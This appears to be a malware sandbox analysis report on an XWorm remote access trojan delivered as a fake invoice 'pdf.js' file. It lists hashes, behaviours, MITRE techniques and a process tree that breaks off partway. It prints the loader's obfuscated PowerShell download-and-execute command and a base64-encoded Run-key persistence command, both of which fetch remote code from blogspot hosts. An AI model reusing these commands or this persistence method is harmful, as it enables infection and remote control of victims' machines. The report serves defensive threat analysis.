xworm | 6ae93b0c57d9c042a2e978c6f844cfb4c93a2504d9564cacb49f122935829fe2

Analysis

user interaction
yes
max time kernel
299s
max time network
299s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
06/07/2026, 12:40

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
06072026_1240_invoice-1684965736.pdf.js
Size 23.7MB
Sample260706-pwf3aabs2q
SHA256 6ae93b0c57d9c042a2e978c6f844cfb4c93a2504d9564cacb49f122935829fe2
MD5 f7e36e5a28ab9106be1e02b4ba13e77d
SHA1 c24d054377f2dee97e23fa9d2e1c9d4df1475616
SHA512 23613d132ac10c97b210692e00ca17225d5ef08872fa5c31583269e0e818c7097b57c79296e5723967131f136e7b14260b5f91d73fe75298c6d073d412e89e6a
SSDEEP 49152:YdYqmoJENghcR3k61UPKBnLmhLXViPKiVuR4gpwCmTw5cimSXWzAKgxEj4W9kKga:b
TLSH
T13B4712534D26E4AFCB905168083AB66FFBE18C01A66563998B9424E0E36FD1D31DFF34
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution xworm persistence rat trojan

Malware Config

Signatures

Family: Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/6640-251-0x0000016EF20F0000-0x0000016EF211C000-memory.dmp	family_xworm

Badlisted process makes network request 7 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	6016	powershell.exe
3	6016	powershell.exe
4	6016	powershell.exe
29	6640	powershell.exe
39	6640	powershell.exe
46	6640	powershell.exe
47	6640	powershell.exe

Loads dropped DLL 1 IoCs

pid	Process
3272	msedge.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-759331733-200834466-1207319849-1000\Software\Microsoft\Windows\CurrentVersion\Run\Bookingx521 = "conhost.exe --headless conhost.exe --headless powershell.exe -nop -ep bypass -EC WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7ACAAaQBFAHgAIAAoAGkAUgBNACAAaAB0AHQAcABzADoALwAvAGgAbwB0AGUAbABqAHUAbgBlADIAMAAyADYALgBiAGwAbwBnAHMAcABvAHQALgBjAG8AbQAvAC8ALwAvAC8AdQBkAHUAcwAuAGQAbwBjAHgALgBwAGQAZgAuAG8AbABwAC4AcwB5AHMAcABoAHUAZAAuAGQAdQBkAHUAcwAuAGQAbwBjAHgALgBwAGQAZgAuAG8AbABwAC4AcwB5AHMAcABoAHUAZAAuAGQAdQBkAHUAcwAuAGQAbwBjAHgALgBwAGQAZgAuAG8AbABwAC4AcwB5AHMAcABoAHUAZAAuAGQAcABjAC4AbABmAHcAbwApADsAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA2ACAAfAAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAA0ADEAOAA2AA=="	powershell.exe

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-af.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-mul-ethi.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-or.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-pa.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_728069895\data.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1634418177\english_wikipedia.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1634418177\surnames.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-kn.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-sl.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_782546325\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-cy.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-be.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_2067206741\typosquatting_list.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1634418177\male_names.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_2026186947\Microsoft.CognitiveServices.Speech.core.dll	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-de-1996.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-mn-cyrl.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-nb.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-nl.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_728069895\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_782546325\kp_pinslist.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_204771678\well_known_domains.dll	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1634418177\passwords.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-it.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-pt.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-sq.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-bg.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-en-us.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-es.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-hu.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-ka.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-uk.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1634418177\us_tv_and_film.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-fr.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-ru.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_2026186947\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-as.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-hr.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-te.hyb	msedge.exe
File opened for modification	C:\Windows\SystemTemp	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-lt.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-ta.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-tk.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1634418177\test.txt	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-da.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-el.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-ga.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-hi.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-la.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-sv.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-bn.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-eu.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-nn.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-und-ethi.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_2067206741\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_782546325\crs.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-cs.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-cu.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-lv.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-de-ch-1901.hyb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_782546325\ct_config.pb	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3272_1871545371\hyph-en-gb.hyb	msedge.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
6396	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134278152495847101"	msedge.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	powershell.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-759331733-200834466-1207319849-1000\{FD6FD33C-6588-4413-B0B3-CBD137F82F86}	msedge.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
6016	powershell.exe
6016	powershell.exe
6016	powershell.exe
6016	powershell.exe
6016	powershell.exe
6016	powershell.exe
6016	powershell.exe
6016	powershell.exe
6016	powershell.exe
6640	powershell.exe
6640	powershell.exe
6640	powershell.exe
6640	powershell.exe
6640	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
3272	msedge.exe
3272	msedge.exe
3272	msedge.exe
3272	msedge.exe
3272	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	6016	powershell.exe
Token: SeIncreaseQuotaPrivilege	6016	powershell.exe
Token: SeSecurityPrivilege	6016	powershell.exe
Token: SeTakeOwnershipPrivilege	6016	powershell.exe
Token: SeLoadDriverPrivilege	6016	powershell.exe
Token: SeSystemProfilePrivilege	6016	powershell.exe
Token: SeSystemtimePrivilege	6016	powershell.exe
Token: SeProfSingleProcessPrivilege	6016	powershell.exe
Token: SeIncBasePriorityPrivilege	6016	powershell.exe
Token: SeCreatePagefilePrivilege	6016	powershell.exe
Token: SeBackupPrivilege	6016	powershell.exe
Token: SeRestorePrivilege	6016	powershell.exe
Token: SeShutdownPrivilege	6016	powershell.exe
Token: SeDebugPrivilege	6016	powershell.exe
Token: SeSystemEnvironmentPrivilege	6016	powershell.exe
Token: SeRemoteShutdownPrivilege	6016	powershell.exe
Token: SeUndockPrivilege	6016	powershell.exe
Token: SeManageVolumePrivilege	6016	powershell.exe
Token: 33	6016	powershell.exe
Token: 34	6016	powershell.exe
Token: 35	6016	powershell.exe
Token: 36	6016	powershell.exe
Token: SeIncreaseQuotaPrivilege	6016	powershell.exe
Token: SeSecurityPrivilege	6016	powershell.exe
Token: SeTakeOwnershipPrivilege	6016	powershell.exe
Token: SeLoadDriverPrivilege	6016	powershell.exe
Token: SeSystemProfilePrivilege	6016	powershell.exe
Token: SeSystemtimePrivilege	6016	powershell.exe
Token: SeProfSingleProcessPrivilege	6016	powershell.exe
Token: SeIncBasePriorityPrivilege	6016	powershell.exe
Token: SeCreatePagefilePrivilege	6016	powershell.exe
Token: SeBackupPrivilege	6016	powershell.exe
Token: SeRestorePrivilege	6016	powershell.exe
Token: SeShutdownPrivilege	6016	powershell.exe
Token: SeDebugPrivilege	6016	powershell.exe
Token: SeSystemEnvironmentPrivilege	6016	powershell.exe
Token: SeRemoteShutdownPrivilege	6016	powershell.exe
Token: SeUndockPrivilege	6016	powershell.exe
Token: SeManageVolumePrivilege	6016	powershell.exe
Token: 33	6016	powershell.exe
Token: 34	6016	powershell.exe
Token: 35	6016	powershell.exe
Token: 36	6016	powershell.exe
Token: SeIncreaseQuotaPrivilege	6016	powershell.exe
Token: SeSecurityPrivilege	6016	powershell.exe
Token: SeTakeOwnershipPrivilege	6016	powershell.exe
Token: SeLoadDriverPrivilege	6016	powershell.exe
Token: SeSystemProfilePrivilege	6016	powershell.exe
Token: SeSystemtimePrivilege	6016	powershell.exe
Token: SeProfSingleProcessPrivilege	6016	powershell.exe
Token: SeIncBasePriorityPrivilege	6016	powershell.exe
Token: SeCreatePagefilePrivilege	6016	powershell.exe
Token: SeBackupPrivilege	6016	powershell.exe
Token: SeRestorePrivilege	6016	powershell.exe
Token: SeShutdownPrivilege	6016	powershell.exe
Token: SeDebugPrivilege	6016	powershell.exe
Token: SeSystemEnvironmentPrivilege	6016	powershell.exe
Token: SeRemoteShutdownPrivilege	6016	powershell.exe
Token: SeUndockPrivilege	6016	powershell.exe
Token: SeManageVolumePrivilege	6016	powershell.exe
Token: 33	6016	powershell.exe
Token: 34	6016	powershell.exe
Token: 35	6016	powershell.exe
Token: 36	6016	powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3272	msedge.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
6640	powershell.exe

Suspicious use of WriteProcessMemory 50 IoCs

description	pid	Process	procid_target
PID 6008 wrote to memory of 6016	6008	wscript.exe	89
PID 6016 wrote to memory of 3272	6016	powershell.exe	91
PID 3272 wrote to memory of 6776	3272	msedge.exe	92
PID 3272 wrote to memory of 6396	3272	msedge.exe	93
PID 3272 wrote to memory of 6456	3272	msedge.exe	95
PID 3272 wrote to memory of 6456	3272	msedge.exe	95
PID 3272 wrote to memory of 6908	3272	msedge.exe	94
PID 3272 wrote to memory of 6908	3272	msedge.exe	94
PID 3272 wrote to memory of 6908	3272	msedge.exe	94
PID 3272 wrote to memory of 2052	3272	msedge.exe	97
PID 3272 wrote to memory of 5396	3272	msedge.exe	98
PID 3272 wrote to memory of 2052	3272	msedge.exe	97
PID 3272 wrote to memory of 2052	3272	msedge.exe	97
PID 3272 wrote to memory of 5396	3272	msedge.exe	98
PID 3272 wrote to memory of 5396	3272	msedge.exe	98
PID 3272 wrote to memory of 3216	3272	msedge.exe	99
PID 3272 wrote to memory of 3216	3272	msedge.exe	99
PID 3272 wrote to memory of 3216	3272	msedge.exe	99
PID 3272 wrote to memory of 2408	3272	msedge.exe	101
PID 3272 wrote to memory of 2408	3272	msedge.exe	101
PID 3272 wrote to memory of 2408	3272	msedge.exe	101
PID 3272 wrote to memory of 1736	3272	msedge.exe	102
PID 3272 wrote to memory of 3932	3272	msedge.exe	103
PID 3272 wrote to memory of 1736	3272	msedge.exe	102
PID 3272 wrote to memory of 3932	3272	msedge.exe	103
PID 3272 wrote to memory of 6092	3272	msedge.exe	105
PID 4556 wrote to memory of 2980	4556	conhost.exe	108
PID 2980 wrote to memory of 6640	2980	conhost.exe	109
PID 3272 wrote to memory of 4860	3272	msedge.exe	114
PID 3272 wrote to memory of 7116	3272	msedge.exe	115
PID 3272 wrote to memory of 3052	3272	msedge.exe	116
PID 3272 wrote to memory of 4496	3272	msedge.exe	117
PID 3272 wrote to memory of 4496	3272	msedge.exe	117
PID 3272 wrote to memory of 436	3272	msedge.exe	120
PID 3272 wrote to memory of 436	3272	msedge.exe	120
PID 3272 wrote to memory of 3228	3272	msedge.exe	121
PID 3272 wrote to memory of 3228	3272	msedge.exe	121
PID 3272 wrote to memory of 5596	3272	msedge.exe	122
PID 3272 wrote to memory of 5312	3272	msedge.exe	123
PID 3272 wrote to memory of 5312	3272	msedge.exe	123
PID 3272 wrote to memory of 1516	3272	msedge.exe	124
PID 3272 wrote to memory of 1516	3272	msedge.exe	124
PID 3272 wrote to memory of 6432	3272	msedge.exe	125
PID 3272 wrote to memory of 6432	3272	msedge.exe	125
PID 3272 wrote to memory of 3904	3272	msedge.exe	126
PID 3272 wrote to memory of 3904	3272	msedge.exe	126
PID 3272 wrote to memory of 6480	3272	msedge.exe	127
PID 3272 wrote to memory of 6480	3272	msedge.exe	127
PID 3272 wrote to memory of 4284	3272	msedge.exe	128
PID 3272 wrote to memory of 4284	3272	msedge.exe	128

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\06072026_1240_invoice-1684965736.pdf.js
1⤵
- Suspicious use of WriteProcessMemory
PID:6008
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; &('{0}{1}' -f 'i','ex') (&('{0}{1}' -f 'i','rm') https://mineiicancry25june2026.blogspot.com////nilapila.docx.psd.pdf.in.sys.nilapila.docx.psd.pdf.in.sys); Start-Sleep -Seconds 17
  2⤵
  - Badlisted process makes network request
  - Adds Run key to start application
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:6016
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\Downloads\Document.pdf
    3⤵
    - Loads dropped DLL
    - Drops file in Windows directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    - Modifies registry class
    - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of WriteProcessMemory
    PID:3272
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x31c,0x7fffc614c188,0x7fffc614c194,0x7fffc614c1a0
      4⤵
      PID:6776
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1764,i,16934866269236493283,15133330062883682138,524288 --field-trial-handle=2532,i,8436743744977590554,11244259338374791554,262144 --variations-seed-version --mojo-platform-channel-handle=2560 /prefetch:11
      4⤵
      System Time Discovery
      PID:6396
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1556,i,13958753109592861754,10933827492233576618,262144 --field-trial-handle=2532,i,8436743744977590554,11244259338374791554,262144 --variations-seed-version --mojo-platform-channel-handle=2528 /prefetch:2
      4⤵
      PID:6908
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2248,i,10940799568644560152,1258101538767139431,524288 --field-trial-handle=2532,i,8436743744977590554,11244259338374791554,262144 --variations-seed-version --mojo-platform-channel-handle=3084 /prefetch:13
      4⤵
      PID:6456
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3536,i,1497979598918040722,6718765217281626706,2097152 --field-trial-handle=2532,i,8436743744977590554,11244259338374791554,262144 --variations-seed-version --mojo-platform-channel-handle=3620 /prefetch:1
      4⤵
      PID:2052
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3540,i,13788258736693954634,16455615127070704404,2097152 --field-trial-handle=2532,i,8436743744977590554,11244259338374791554,262144 --variations-seed-version --mojo-platform-channel-handle=3624 /prefetch:1
      4⤵
      PID:5396
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --init-isolate-as-foreground --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=5036,i,7433146081530961589,16331625435467976255,2097152 --field-trial-handle=2532,i,8436743744977590554,11244259338374791554,262144 --variations-seed-version --mojo-platform-channel-handle=5056 /prefetch:9
      4⤵
      PID:3216
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --renderer-sub-type=pdf-renderer --pdf-renderer --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags="--ms-user-locale= --jitless" --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=5324,i,4366742502951582306,13159141638910133440,2097152 --field-trial-handle=2532,i,8436743744977590554,11244259338374791554,262144 --variations-seed-version --mojo-platform-channel-handle=5356 /prefetch:15
      4⤵
      PID:2408
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5524,i,2456292425630678479,1798343095482912232,524288 --field-trial-handle=2532,i,8436743744977590554,11244259338374791554,262144 --variations-seed-version --mojo-platform-channel-handle=5568 /prefetch:14
      4⤵
      PID:1736
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5528,i,9981202520119914218,1497188944306235761,524288 --field-trial-handle=2532,i,8436743744977590554,11244259338374791554,262144 --variations-seed-version --mojo-platform-channel-handle=5608 /prefetch:14
      4⤵
      PID:3932
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6092,i,12140052833596898677,6423083865274445114,524288 --field-trial-handle=2532,i,8436743744977590554,11244259338374791554,262144 --variations-seed-version --mojo-platform-channel-handle=6108 /prefetch:14
      4⤵
      PID:2988
  - - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6092,i,12140052833596898677,6423083865274445114,524288 --field-trial-handle=2532,i,8436743744977590554,11244259338374791554,262144 --variations-seed-version --mojo-platform-channel-handle=6108 /prefetch:14
      4⤵
      PID:6092
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6228,i,15636318584183227155,8682899329230823401,524288 --field-trial-handle=2532,i,8436743744977590554,11244259338374791554,262144 --variations-seed-version --mojo-platform-channel-handle=6104 /prefetch:14
      4⤵
      PID:4860
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6304,i,4109880315237489972,7020344644067544244,524288 --field-trial-handle=2532,i,8436743744977590554,11244259338374791554,262144 --variations-seed-version --mojo-platform-channel-handle=6640 /prefetch:14
      4⤵
      PID:7116
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
